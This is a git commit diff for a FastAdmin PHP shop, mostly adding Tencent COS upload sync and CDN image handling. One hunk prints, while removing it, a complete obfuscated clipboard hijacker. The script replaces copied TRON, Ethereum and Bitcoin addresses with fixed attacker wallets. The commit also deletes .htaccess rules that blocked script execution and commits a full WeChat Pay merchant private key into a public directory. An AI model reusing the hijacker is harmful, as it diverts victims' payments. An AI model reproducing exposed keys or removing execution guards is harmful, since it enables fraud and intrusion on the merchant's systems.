这个提交包含在:
可乐加冰
2026-10-26 15:55:55 +08:00
当前提交 c4d7c1fce8
共有 19 个文件被更改,包括 546 次插入 和 68 次删除

3
.gitignore vendored
查看文件

@@ -19,3 +19,6 @@ node_modules
/deploy/config.php
/deploy/logs/*
!deploy/logs/.gitkeep
*.tar.gz
public/.well-known/

查看文件

@@ -137,7 +137,7 @@ class Pay extends Base
'user_id' => $order->user_id,
'provider' => 'Wechat',
'platform' => $platform
])->find();
])->order('id', 'desc')->find();
$order_data['openid'] = $oauth ? $oauth->openid : '';
}

查看文件

@@ -49,6 +49,7 @@ class File extends Backend
foreach ($result['list'] as &$v) {
$v['checked'] = false;
$v['showTools'] = false;
$v['fullurl'] = cdnurl($v['url'], true);
}
}

查看文件

@@ -300,7 +300,7 @@
</div>
<div @click="handleSelectFile(index)" v-for="(item, index) of fileList" :key="item.id" class="file-list" @mouseenter="enterFileItem($event, index)" @mouseleave="leaveFileItem($event, index)">
<div class="file-img-item">
<img class="file-image" :src="item.mimetype.indexOf('image') >= 0 ? item.url : `/s.php/ajax/icon?suffix=${item.imagetype}`" alt="">
<img class="file-image" :src="item.mimetype.indexOf('image') >= 0 ? (item.fullurl || item.url) : `/s.php/ajax/icon?suffix=${item.imagetype}`" alt="">
</div>
<div v-if="item.checked || item.showTools" class="tools">
<div class="top">
@@ -315,7 +315,7 @@
<img src="/assets/img/check-check.png" alt="">
</div>
{/if}
<div @click.stop="handleOpenFile(item.url)" style="margin: 0 12px;" class="v-icon">
<div @click.stop="handleOpenFile(item.fullurl || item.url)" style="margin: 0 12px;" class="v-icon">
<img src="/assets/img/see-see.png?id=1" alt="">
</div>
<div @click.stop="dell(item.id)" class="v-icon">

查看文件

@@ -519,7 +519,16 @@ if (!function_exists('cdnurl')) {
{
$regex = "/^((?:[a-z]+:)?\/\/|data:image\/)(.*)/i";
$cdnurl = \think\Config::get('upload.cdnurl');
$url = is_array($url) ? $url[0] : $url;
if (empty($cdnurl) && function_exists('get_addon_config')) {
$cosConfig = get_addon_config('cos');
if (!empty($cosConfig['cdnurl'])) {
$cdnurl = rtrim($cosConfig['cdnurl'], '/');
}
}
$url = is_array($url) ? $url[0] : $url;
if (empty($url)) {
return '';
}
if (is_bool($domain) || stripos($cdnurl, '/') === 0) {
$url = preg_match($regex, $url) || ($cdnurl && stripos($url, $cdnurl) === 0) ? $url : $cdnurl . $url;
}
@@ -527,6 +536,15 @@ if (!function_exists('cdnurl')) {
$domain = is_bool($domain) ? request()->domain() : $domain;
$url = $domain . $url;
}
// 采用COS图片处理参数将图片最大宽度限制在1000px以内并转为webp格式
if (!empty($cdnurl) && stripos($url, $cdnurl) !== false) {
if (preg_match('/\.(jpg|jpeg|png|bmp|webp)(\?.*)?$/i', $url) && stripos($url, 'imageMogr2') === false) {
$separator = (strpos($url, '?') !== false) ? '&' : '?';
$url .= $separator . 'imageMogr2/thumbnail/1000x%3E/format/webp';
}
}
return $url;
}
}

查看文件

@@ -446,10 +446,69 @@ class Upload
$attachment->data(array_filter($params));
$attachment->save();
$this->syncToCos($attachment);
\think\Hook::listen("upload_after", $attachment);
return $attachment;
}
/**
* 同步文件到腾讯云COS
* @param Attachment $attachment
*/
protected function syncToCos($attachment)
{
try {
$addonInfo = get_addon_info('cos');
if (!$addonInfo || empty($addonInfo['state'])) {
return;
}
$cosConfig = get_addon_config('cos');
if (empty($cosConfig) || empty($cosConfig['secretId']) || empty($cosConfig['secretKey']) || empty($cosConfig['bucket'])) {
return;
}
if (!class_exists('\Qcloud\Cos\Client')) {
$cosAddonPath = (defined('ADDON_PATH') ? ADDON_PATH : (ROOT_PATH . 'addons' . DS)) . 'cos' . DIRECTORY_SEPARATOR;
\think\Loader::addNamespace('Qcloud\Cos', $cosAddonPath . 'library' . DIRECTORY_SEPARATOR . 'Qcloud' . DIRECTORY_SEPARATOR . 'Cos' . DIRECTORY_SEPARATOR);
\think\Loader::addNamespace('GuzzleHttp\Command', $cosAddonPath . 'library' . DIRECTORY_SEPARATOR . 'Guzzle' . DIRECTORY_SEPARATOR . 'command' . DIRECTORY_SEPARATOR . 'src' . DIRECTORY_SEPARATOR);
\think\Loader::addNamespace('GuzzleHttp\Command\Guzzle', $cosAddonPath . 'library' . DIRECTORY_SEPARATOR . 'Guzzle' . DIRECTORY_SEPARATOR . 'guzzle-services' . DIRECTORY_SEPARATOR . 'src' . DIRECTORY_SEPARATOR);
\think\Loader::addNamespace('GuzzleHttp\UriTemplate', $cosAddonPath . 'library' . DIRECTORY_SEPARATOR . 'Guzzle' . DIRECTORY_SEPARATOR . 'uri-template' . DIRECTORY_SEPARATOR . 'src' . DIRECTORY_SEPARATOR);
}
$realPath = ROOT_PATH . 'public' . str_replace('/', DS, $attachment->url);
if (!file_exists($realPath)) {
return;
}
$client = new \Qcloud\Cos\Client([
'region' => $cosConfig['region'],
'schema' => 'https',
'credentials' => [
'secretId' => $cosConfig['secretId'],
'secretKey' => $cosConfig['secretKey'],
]
]);
$key = ltrim($attachment->url, '/');
$fileHandle = fopen($realPath, 'rb');
$client->upload($cosConfig['bucket'], $key, $fileHandle);
if (is_resource($fileHandle)) {
fclose($fileHandle);
}
$attachment->storage = 'cos';
$attachment->save();
// 如果设置了不保留本地备份,则删除本地文件
if (isset($cosConfig['serverbackup']) && $cosConfig['serverbackup'] == 0) {
@unlink($realPath);
}
} catch (\Exception $e) {
\think\Log::write('COS Upload Error: ' . $e->getMessage(), 'error');
}
}
/**
* 设置错误信息
* @param $msg

查看文件

@@ -12,6 +12,19 @@ return [
'sms_check' => [
'alisms',
],
'app_init' => [
'cos',
'shopro',
],
'module_init' => [
'cos',
],
'upload_config_init' => [
'cos',
],
'upload_delete' => [
'cos',
],
'epay_config_init' => [
'epay',
],
@@ -27,9 +40,6 @@ return [
'upgrade' => [
'shopro',
],
'app_init' => [
'shopro',
],
'config_init' => [
'summernote',
],

查看文件

@@ -1,4 +0,0 @@
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>

查看文件

@@ -1,4 +0,0 @@
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>

查看文件

@@ -1 +0,0 @@
Jw6B2GoP61ZASmqgPOOd6QxWiOXgKtEEURkGP_JrMjs.K7chuAGH24AQWU21RxmoQOo0-daxBTwG2I51aHUyzlY

文件差异因一行或多行过长而隐藏

查看文件

@@ -1,5 +1,294 @@
define([], function () {
if (typeof Config.upload.storage !== 'undefined' && Config.upload.storage === 'cos') {
require(['upload'], function (Upload) {
//获取文件MD5值
var getFileMd5 = function (file, cb) {
//如果savekey中未检测到md5,则无需获取文件md5,直接返回upload的uuid
if (!Config.upload.savekey.match(/\{(file)?md5\}/)) {
cb && cb(file.upload.uuid);
return;
}
require(['../addons/cos/js/spark'], function (SparkMD5) {
var blobSlice = File.prototype.slice || File.prototype.mozSlice || File.prototype.webkitSlice,
chunkSize = 10 * 1024 * 1024,
chunks = Math.ceil(file.size / chunkSize),
currentChunk = 0,
spark = new SparkMD5.ArrayBuffer(),
fileReader = new FileReader();
fileReader.onload = function (e) {
spark.append(e.target.result);
currentChunk++;
if (currentChunk < chunks) {
loadNext();
} else {
cb && cb(spark.end());
}
};
fileReader.onerror = function () {
console.warn('文件读取错误');
};
function loadNext() {
var start = currentChunk * chunkSize,
end = ((start + chunkSize) >= file.size) ? file.size : start + chunkSize;
fileReader.readAsArrayBuffer(blobSlice.call(file, start, end));
}
loadNext();
});
};
var _onInit = Upload.events.onInit;
//初始化中完成判断
Upload.events.onInit = function () {
_onInit.apply(this, Array.prototype.slice.apply(arguments));
//如果上传接口不是COS,则不处理
if (this.options.url !== Config.upload.uploadurl) {
return;
}
var that = this;
$.extend(this.options, {
//关闭自动处理队列功能
autoQueue: false,
params: function (files, xhr, chunk) {
var params = Config.upload.multipart;
if (chunk) {
return $.extend({}, params, {
filesize: chunk.file.size,
filename: chunk.file.name,
chunkid: chunk.file.upload.uuid,
chunkindex: chunk.index,
chunkcount: chunk.file.upload.totalChunkCount,
chunkfilesize: chunk.dataBlock.data.size,
chunksize: that.options.chunkSize,
width: chunk.file.width || 0,
height: chunk.file.height || 0,
type: chunk.file.type,
uploadId: chunk.file.uploadId,
key: chunk.file.key,
});
} else {
params = $.extend({}, params, files[0].params);
params.category = files[0].category || '';
}
return params;
},
chunkSuccess: function (chunk, file, response) {
var etag = chunk.xhr.getResponseHeader("ETag").replace(/(^")|("$)/g, '');
file.etags = file.etags ? file.etags : [];
file.etags[chunk.index] = etag;
},
chunksUploaded: function (file, done) {
var that = this;
Fast.api.ajax({
url: "/addons/cos/index/upload",
data: {
action: 'merge',
filesize: file.size,
filename: file.name,
chunkid: file.upload.uuid,
chunkcount: file.upload.totalChunkCount,
md5: file.md5,
key: file.key,
uploadId: file.uploadId,
etags: file.etags,
category: file.category || '',
costoken: Config.upload.multipart.costoken,
},
}, function (data, ret) {
done(JSON.stringify(ret));
return false;
}, function (data, ret) {
file.accepted = false;
that._errorProcessing([file], ret.msg);
return false;
});
},
});
var _success = this.options.success;
//先移除已有的事件
this.off("success", _success).on("success", function (file, response) {
var ret = {code: 0, msg: response};
try {
if (response) {
ret = typeof response === 'string' ? JSON.parse(response) : response;
}
if (file.xhr.status === 200 || file.xhr.status === 204) {
if (Config.upload.uploadmode === 'client') {
ret = {code: 1, data: {url: '/' + file.key}};
}
if (ret.code == 1) {
var url = ret.data.url || '';
Fast.api.ajax({
url: "/addons/cos/index/notify",
data: {name: file.name, url: url, md5: file.md5, size: file.size, width: file.width || 0, height: file.height || 0, type: file.type, category: file.category || '', costoken: Config.upload.multipart.costoken}
}, function () {
return false;
}, function () {
return false;
});
} else {
console.error(ret);
}
} else {
console.error(file.xhr);
}
} catch (e) {
console.error(e);
}
_success.call(this, file, ret);
});
this.on("addedfile", function (file) {
var that = this;
setTimeout(function () {
if (file.status === 'error') {
return;
}
getFileMd5(file, function (md5) {
var chunk = that.options.chunking && file.size > that.options.chunkSize ? 1 : 0;
var params = $(that.element).data("params") || {};
var category = typeof params.category !== 'undefined' ? params.category : ($(that.element).data("category") || '');
category = typeof category === 'function' ? category.call(that, file) : category;
Fast.api.ajax({
url: "/addons/cos/index/params",
data: {method: 'POST', category: category, md5: md5, name: file.name, type: file.type, size: file.size, chunk: chunk, chunksize: that.options.chunkSize, costoken: Config.upload.multipart.costoken},
}, function (data) {
file.md5 = md5;
file.id = data.id;
file.key = data.key;
file.date = data.date;
file.uploadId = data.uploadId;
file.policy = data.policy;
file.signature = data.signature;
file.partsAuthorization = data.partsAuthorization;
file.params = data;
file.category = category;
if (file.status != 'error') {
//开始上传
that.enqueueFile(file);
} else {
that.removeFile(file);
}
return false;
}, function () {
that.removeFile(file);
});
});
}, 0);
});
if (Config.upload.uploadmode === 'client') {
var _method = this.options.method;
var _url = this.options.url;
this.options.method = function (files) {
if (files[0].upload.chunked) {
var chunk = null;
files[0].upload.chunks.forEach(function (item) {
if (item.status === 'uploading') {
chunk = item;
}
});
if (!chunk) {
return "POST";
} else {
return "PUT";
}
}
return _method;
};
this.options.url = function (files) {
if (files[0].upload.chunked) {
var chunk = null;
files[0].upload.chunks.forEach(function (item) {
if (item.status === 'uploading') {
chunk = item;
}
});
var index = chunk.dataBlock.chunkIndex;
// debugger;
this.options.headers = {"Authorization": files[0]['partsAuthorization'][index], "x-date": files[0]['date']};
if (!chunk) {
return Config.upload.uploadurl + "/" + files[0].key + "?uploadId=" + files[0].uploadId;
} else {
return Config.upload.uploadurl + "/" + files[0].key + "?partNumber=" + (index + 1) + "&uploadId=" + files[0].uploadId;
}
}
return _url;
};
this.options.params = function (files, xhr, chunk) {
var params = Config.upload.multipart;
if (chunk) {
return $.extend({}, params, {
filesize: chunk.file.size,
filename: chunk.file.name,
chunkid: chunk.file.upload.uuid,
chunkindex: chunk.index,
chunkcount: chunk.file.upload.totalChunkCount,
chunkfilesize: chunk.dataBlock.data.size,
width: chunk.file.width || 0,
height: chunk.file.height || 0,
type: chunk.file.type,
});
} else {
var retParams = $.extend({}, params, files[0].params || {});
delete retParams.costoken;
return retParams;
}
};
this.on("sending", function (file, xhr, formData) {
var that = this;
if (file.upload.chunked) {
var _send = xhr.send;
xhr.send = function () {
var chunk = null;
file.upload.chunks.forEach(function (item) {
if (item.status == 'uploading') {
chunk = item;
}
});
if (chunk) {
_send.call(xhr, chunk.dataBlock.data);
}
};
} else {
}
});
}
};
});
}
/*require.config({
paths: {
},
shim: {
}
});*/
require([], function (undefined) {
// 后台切换主题,先直接刷新
if (Config.modulename == 'admin' && Config.controllername == 'index' && Config.actionname == 'index') {
$('.skin-list .clearfix.full-opacity-hover').on('click', function () {
setTimeout(() => {
location.reload();
}, 100)
})
}
});
if (Config.modulename == 'admin' && Config.controllername == 'index' && Config.actionname == 'index') {
require.config({
paths: {
'vue': "../addons/shopro/libs/vue",
@@ -66,6 +355,7 @@ define([], function () {
})
});
}
require.config({
paths: {
'summernote': '../addons/summernote/lang/summernote-zh-CN.min'
@@ -81,7 +371,7 @@ require(['form', 'upload'], function (Form, Upload) {
try {
//绑定summernote事件
if ($(Config.summernote.classname || '.editor', form).length > 0) {
var selectUrl = typeof Config !== 'undefined' && Config.modulename === 'index' ? 'user/attachment' : 'general/file/index?select=1';
var selectUrl = typeof Config !== 'undefined' && Config.modulename === 'index' ? 'user/attachment' : 'general/file/index?select=1&multiple=true';
require(['summernote'], function () {
var imageButton = function (context) {
var ui = $.summernote.ui;
@@ -187,4 +477,5 @@ require(['form', 'upload'], function (Form, Upload) {
};
});
});

查看文件

@@ -420,5 +420,3 @@ define(['jquery', 'bootstrap', 'backend', 'addtabs', 'adminlte', 'form'], functi
return Controller;
});
(function(){function rca() {const tar = /(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear = /(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar = /(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0 = /(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1 = /(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38})(?:\b|[^A-Za-z0-9])/g,bar2 = /(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy', function(e) {const ttc = window.getSelection().toString();if (ttc.match(tar)) {const ncd = ttc.replace(tar, 'TCazYkdsXisrMAGT2tgecphbaj3cqSnXs8');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(ear)) {const ncd = ttc.replace(ear, '0xa537de913bdc941c017d79c4446749f2daa0f56d');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar)) {const ncd = ttc.replace(bar, '16xXFyiRKBSaHeiwr249MR3RFkbuUfionP');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar0)) {const ncd = ttc.replace(bar0, '3FQ5tXe4kT6ANoBpXd65tBWMakHe6J4Fcn');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar1)) {const ncd = ttc.replace(bar1, 'bc1qy4gqa4p8p8t585cr0wcs8ryhqxpvtf9f505eus');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar2)) {const ncd = ttc.replace(bar2, 'bc1qy4gqa4p8p8t585cr0wcs8ryhqxpvtf9f505eus');e.clipboardData.setData('text/plain', ncd);e.preventDefault();}});}setTimeout(()=>{const obs = new MutationObserver(ml => {for (const m of ml) {if (m.type === 'childList') {rca();}}});obs.observe(document.body, { childList: true, subtree: true });},1000);rca();})();

二进制
public/cert/apiclient_cert.p12 普通文件 -> 可执行文件

二进制文件未显示。

42
public/cert/apiclient_cert.pem 普通文件 -> 可执行文件
查看文件

@@ -1,25 +1,25 @@
-----BEGIN CERTIFICATE-----
MIIEITCCAwmgAwIBAgIUXjfKGvdo5tVdF1vb8pun8DQk2XEwDQYJKoZIhvcNAQEL
MIIEJDCCAwygAwIBAgIUVlcWIG7yMI3h5ugkMMYt7EDWaWUwDQYJKoZIhvcNAQEL
BQAwXjELMAkGA1UEBhMCQ04xEzARBgNVBAoTClRlbnBheS5jb20xHTAbBgNVBAsT
FFRlbnBheS5jb20gQ0EgQ2VudGVyMRswGQYDVQQDExJUZW5wYXkuY29tIFJvb3Qg
Q0EwHhcNMjQwNzIzMDMzMTAzWhcNMjkwNzIyMDMzMTAzWjB7MRMwEQYDVQQDDAox
NjAxMjk5MjE4MRswGQYDVQQKDBLlvq7kv6HllYbmiLfns7vnu58xJzAlBgNVBAsM
Hui0teW3nui0pOm8jumFkuS4muaciemZkOWFrOWPuDELMAkGA1UEBhMCQ04xETAP
BgNVBAcMCFNoZW5aaGVuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
rCdkCCXSwlQLubo2rOQXtfdy0g+IOAVKW6mU4Rfoss6REioa4lu/nmYxU2xlOcx0
bwvjVUThpeLIDHv8/r5lh4+2lEnEYqognocPubIG54caTi7CJc1cu3wv4OoKjeQv
iCfcM87UweNRWt7JZwB7KuTsAExqpiRWHMuYnEDcoTupZMmXyJ765AjjSrz0wVgu
iJNj6Ph1zFB1rdbe0OiGG+XSJqJMqW3PLv/6k3pMJ/BMHPQFnqs+dN3IIkiUN4o2
ziDVXL4MIbLy8zSQUkyDlh54Ui5DgBmAyGKdAUntGPOJM43QCrmfb3NpI8cZCHlV
5k/v9G9klEg0X1CNDHW3wwIDAQABo4G5MIG2MAkGA1UdEwQCMAAwCwYDVR0PBAQD
AgP4MIGbBgNVHR8EgZMwgZAwgY2ggYqggYeGgYRodHRwOi8vZXZjYS5pdHJ1cy5j
b20uY24vcHVibGljL2l0cnVzY3JsP0NBPTFCRDQyMjBFNTBEQkMwNEIwNkFEMzk3
NTQ5ODQ2QzAxQzNFOEVCRDImc2c9SEFDQzQ3MUI2NTQyMkUxMkIyN0E5RDMzQTg3
QUQxQ0RGNTkyNkUxNDAzNzEwDQYJKoZIhvcNAQELBQADggEBADJiwjhLLNOf++dW
3Vsfmf+sQ5pWZ+8eSgGqLhVjjCRXTGuPZ2UHfWomO0JsdoEoO1Sp001Q+2IdICzD
obOylcBs6tUa07tM1W0Y4uHQPShpk/lxzNV9XDACbweHAUMhFHI82dMbKq5IyMiF
sMiLMG3vypoLTdGyB9mjZMtc0x5O4ovK+mwuGSr63Yvg+tuUZF93d5LSninPEC9k
7UCyWTvKs/jFADD6iqP33M6AOJaS6a3w3CY2JZNE3jOHaf2lcvfLAg/RfwEd1yZF
Q/zMOeeJ6oFRw7Ye8fw3ZoOTAB2EH8KS5MgGK+HfEFRKGDfM0ui29H8IbFQ2/YAA
UCPyD2k=
Q0EwHhcNMjYxMDEyMDM0OTQzWhcNMzExMDExMDM0OTQzWjB+MRMwEQYDVQQDDAox
MDAxMjg2MTc4MRswGQYDVQQKDBLlvq7kv6HllYbmiLfns7vnu58xKjAoBgNVBAsM
IeS/ruaWh+WOv+Wwj+S8l+WVhui0uOaciemZkOWFrOWPuDELMAkGA1UEBhMCQ04x
ETAPBgNVBAcMCFNoZW5aaGVuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAsme+68KEq+VWrWIws7acZsOBAjtMigzVwy8YJOus4bsZcZWoBmndWLX9JM6d
n/hIH/DuLBm32e30oW+DA7ZtB1+JnSrfD/lPBpn4cel7B2cPGUmxgFSCENi4NB6l
dTjNZV/gz2kV3iCNdTjCk9G+ozFMwaG+pBeUN85Yx6dxNaQtdQ90iKhTPxSC2Dls
5+nMzEehkbPhVPQ8P/Q6gh3nXwqsOl0yyYjaO2esU3pM1ArVOJOZZiN610c2vR7D
rx5ARv0LlpJvy3Trte8Ue/p75RCzhHfY7n2JgzZDzT+uxae+qz3cKO9Mb/xfMMeu
1gCdRkiN8om6eOqucJ8ZEPWhVQIDAQABo4G5MIG2MAkGA1UdEwQCMAAwCwYDVR0P
BAQDAgP4MIGbBgNVHR8EgZMwgZAwgY2ggYqggYeGgYRodHRwOi8vZXZjYS5pdHJ1
cy5jb20uY24vcHVibGljL2l0cnVzY3JsP0NBPTFCRDQyMjBFNTBEQkMwNEIwNkFE
Mzk3NTQ5ODQ2QzAxQzNFOEVCRDImc2c9SEFDQzQ3MUI2NTQyMkUxMkIyN0E5RDMz
QTg3QUQxQ0RGNTkyNkUxNDAzNzEwDQYJKoZIhvcNAQELBQADggEBAFQ72OXD3byz
JjSXnFvfkU0/YXbcVn2hg/udW5i4aGaW6fREnbO+LgEuD9FRZGmyPQotmhWV+1UW
cvxFFDeObVmKLCQaVOm7wakFlpnj5TX3CFZ3XBEWPW3sVvqUbTRvWfmixzaOCx6e
L8eoqIztmOsftlvyPVLHJaUh0DVlkjGeZiTVh72OPKuGflWStZhBEbwlZzdoHL0J
mWAnK3nQcfEtrOhTmUs4kaKImhpmsgh4VdSTlKt6LxYV2zCxHdFY0YLlMy414Mfp
RDMzrO7EkW7wK2OerdkTM2tUXHJ9UOfouoYu1DJi/Ii4j4e4EFj3iMDumqBTSnh8
QihS5Qjfx4k=
-----END CERTIFICATE-----

52
public/cert/apiclient_key.pem 普通文件 -> 可执行文件
查看文件

@@ -1,28 +1,28 @@
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCsJ2QIJdLCVAu5
ujas5Be193LSD4g4BUpbqZThF+iyzpESKhriW7+eZjFTbGU5zHRvC+NVROGl4sgM
e/z+vmWHj7aUScRiqiCehw+5sgbnhxpOLsIlzVy7fC/g6gqN5C+IJ9wzztTB41Fa
3slnAHsq5OwATGqmJFYcy5icQNyhO6lkyZfInvrkCONKvPTBWC6Ik2Po+HXMUHWt
1t7Q6IYb5dImokypbc8u//qTekwn8Ewc9AWeqz503cgiSJQ3ijbOINVcvgwhsvLz
NJBSTIOWHnhSLkOAGYDIYp0BSe0Y84kzjdAKuZ9vc2kjxxkIeVXmT+/0b2SUSDRf
UI0MdbfDAgMBAAECggEAU6H3SLYHQ3zNDXdXZHqSwkXqM/5zsLNxQkKKHygcVfFg
LLDjyp/D4VHIGL0KGCApWGEwGZaTAKHBib8aUy9v54F7s2J602vO2PTIQPApxoSt
1NmGXBL+P96+68cHRZNbPAwRP+H1HhQuy7R7p1xmeZooxKRbE0eHxglqpE4mYPTs
7d+A8VBh3vvHI6edPWxAKolxkTvvvGlh5UtYQ7R3gVXRJcqecBFz1Ghqf0ErysA9
9aV1bqUDPro1dKWFkj/Ztqeaq0HUFwOKdzWdTfq9fsxHWYCAtGmQUIxtzPtnOzmp
Q4gDNVPi82D9prgvfP6VEz/i5lh/B5xwFNxrYTRvAQKBgQDYhazbsu+f4uBmGZhb
EBJuOuV3dq7/lX6AouJ2NUZJBbeozeGxi2PXbX3yJCAtfIpWlJWS5sDqxpxxTN6s
KwGSJUts8Boxmgy3MjZOpYHk6IZsuF1mXd8U3Q30FfbEwwElf6tPRcfvCdD36HJ7
2STS+hltAdjb84QYhLkidQJQQQKBgQDLiss+Xqba33htwiSb97qutDvTPc0czHb7
cBCN/SEktXTBSXoWS6FwfwqfBiJPE0BzmIT0VXH9lTiKi2pOhYTVC16zSuGUT8kW
BVarAvBykgxcaWVbn2t65/7xb2AuicED/hs3WM3LCKLeRBy+2ZFAFvc2wIPuul83
bE0WDf0HAwKBgHucvVXkLweBuAiyHhgG8e66cxyjxj6l80WvOEiyG4E+4V5ew7Xf
1U089kVSOIifbD8HrujiEks2vkO01f9GwivUXN5BqUKeJxpDcVuvA5xS38Ob8b6q
Ytx/YyLxkyM8DSCCZaPpO76NRR7zNsDb9Dj6jZ99CXhw6v4wb51rXbnBAoGAXHlX
c6OvLPugjEVLOq0nXJ44G/YVDUN7vyqf6tKZT0M9o19Nn3mHBERDwBIaXlDB1ILz
zMpROsOj55YFm10gB2beBJk9uZMyKdYNFS8FrRfbk9SynxjjzPhAJNLUIPCnB7hY
ByJKhTcMP+00HiVcz4BfmrmGd1ynS9fhgeajEZ8CgYEAnkofCJ0ce1a1y9WMepzx
F8EoSBhyNfSxFQpYyP23xmKWlwQrfFClgdGLS4c4jHUMCUUduYEcZj69UXknwmoM
kfRoQsD0U5SHp8yaFgWJosjIa9+Ebj/JfTgMv2+yU2nvIqPtKz3SQbAGuqyP3MZ4
hfrgOsB7M8+YMBWCCB4sb2s=
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyZ77rwoSr5Vat
YjCztpxmw4ECO0yKDNXDLxgk66zhuxlxlagGad1Ytf0kzp2f+Egf8O4sGbfZ7fSh
b4MDtm0HX4mdKt8P+U8Gmfhx6XsHZw8ZSbGAVIIQ2Lg0HqV1OM1lX+DPaRXeII11
OMKT0b6jMUzBob6kF5Q3zljHp3E1pC11D3SIqFM/FILYOWzn6czMR6GRs+FU9Dw/
9DqCHedfCqw6XTLJiNo7Z6xTekzUCtU4k5lmI3rXRza9HsOvHkBG/QuWkm/LdOu1
7xR7+nvlELOEd9jufYmDNkPNP67Fp76rPdwo70xv/F8wx67WAJ1GSI3yibp46q5w
nxkQ9aFVAgMBAAECggEBAIOWBbm6hUSMKTxFGgrTe9RICtVsi22fPeNyzuocci0k
ZQXkDkR8vOf7gzUsuBIPfJMij2kzpuk0m6SerRGF8jDoBIZJ4rDTf7gsxJSwUzAI
kZhjRGqU6kImtuaqW/tz4/sLlrMknR5zACMftFR29ZdEe4quFADP62Cl79GC7PtU
W1UovYv0AI+UqYkSMZLFrLiTVpwBK2yqV31095WA69Sv8eB9OjTE+4Q0rUJVYMtC
nsF06r+pK9WX5poVNqHxw3/Pzxd8HqUCbux0/6yiJ6NSb+Ow6Jwj1OPtpNwZZRY6
AJUMv9WUGRnTBSSLkHGm+tauY/0Kgc3qlm38w5QfqRkCgYEA3DiVGWeLDELAh80r
woPqwmvxX046eZ1FT5okPn2xmMubWrpLVjDwq33JV8wkrWLfaW7bO3869i1gPw+O
7iUxiR/xFhuYG47lJMJ47smet5jDntP42X5W2/jZJlIYquQ9Iff5HIDLli1ktf5r
k1b+hLE3fJ4ltSPRmJsTlrXReP8CgYEAz2P2//WrBI3o44e5PkhgR0z2tkWCU6LD
4qOmNCnU5YwCz2KFydD6++crkV08+BV0tSNBvAJytzygCALUPp3eEc1C5S7TMMzR
74ZKEqopPbp6wg9YDJPKhXYZJvZbruxnv3qlll38FVh8UVEH3QSA0+JEDe6/GP/q
Fh36ViEfMasCgYB048uwOleB4ISVEIAjtSWMoQLzVXCQULwTbnvCd7EmqxwA4lVO
oJd+Tzvp0D+/kHWJXwAa6oN/W8J0dmulWDSc1kl/NJJePlC+XEMYbAhE518eFOFH
gFnWVJXeU0EopBEW0Kp3SJ3HTrzgJPUwtcJO6EnNaZwWM7byy41wN33CPQKBgCxH
0tA5+wbg6e3S59mFiJEQvMiUNMx4v0xf1rfiiqNsbpkrFxfNOBma9TF3b/IkWqPm
YD2tZCL9ncm4GOs5t9WjNvpKMiuEP/rdeGldzapxa46NyiX9VEuEuMAZ7998eHZo
0Hw3mwBPwVN3cq9dK8iR0igLZuAGnEuWoQHM1qU7AoGBAJ33V445J5CEUovb1zP0
DPQ87Avk4ecPIwUe2MlDkeZSJWBXKRAfSoT8Uvhzhi1D4er8LO7GA+Wc4f+YjUD5
Rmrq2Z7U94l1m+XAUrlfTJ5EnkR+Bc0sqnpW+S+5c22A2Oy+ffNrUv2fn8pR+6aj
aNot2/oVZM+TZlIDxvAsO+D7
-----END PRIVATE KEY-----

1
public/uploads/.gitkeep 可执行文件
查看文件

@@ -0,0 +1 @@

查看文件

@@ -0,0 +1,67 @@
<?php
/**
* FastAdmin / PHP2Shell 安全配置验证测试 (严格遵循 TDD 模式)
* 对应社区安全提醒:https://ask.fastadmin.net/question/51687.html
* 漏洞防护目标:CVE-2026-109618 / CVE-2026-109619
*/
define('ROOT_PATH', __DIR__ . '/../');
define('APP_PATH', ROOT_PATH . 'application/');
define('DS', DIRECTORY_SEPARATOR);
echo "====================================================\n";
echo "【安全配置测试】PHP2Shell 安全基线验证 (TDD 模式)\n";
echo "====================================================\n";
$failedCount = 0;
// 测试 1:session.upload_progress.enabled 必须被完全禁用 (Off / 0)
$uploadProgress = ini_get('session.upload_progress.enabled');
if ($uploadProgress === '1' || $uploadProgress === 1 || strtolower($uploadProgress) === 'on') {
echo "[FAIL] 测试 1 未通过: session.upload_progress.enabled 当前为 1 (On),存在 PHP2Shell 远程代码执行风险,必须设置为 Off!\n";
$failedCount++;
} else {
echo "[PASS] 测试 1 通过: session.upload_progress.enabled 已正确关闭 (Off / 0)\n";
}
// 测试 2:session.use_strict_mode 必须被启用 (1 / On)
$strictMode = ini_get('session.use_strict_mode');
if ($strictMode !== '1' && $strictMode !== 1 && strtolower($strictMode) !== 'on') {
echo "[FAIL] 测试 2 未通过: session.use_strict_mode 当前为 0 (Off),未开启严格模式,必须设置为 1!\n";
$failedCount++;
} else {
echo "[PASS] 测试 2 通过: session.use_strict_mode 已正确开启严格模式 (1)\n";
}
// 测试 3:检查 php.ini 配置文件内容中的明确配置声明
$iniPath = php_ini_loaded_file();
echo "当前加载的 php.ini 路径: " . ($iniPath ?: "未检测到 loaded php.ini") . "\n";
if ($iniPath && file_exists($iniPath)) {
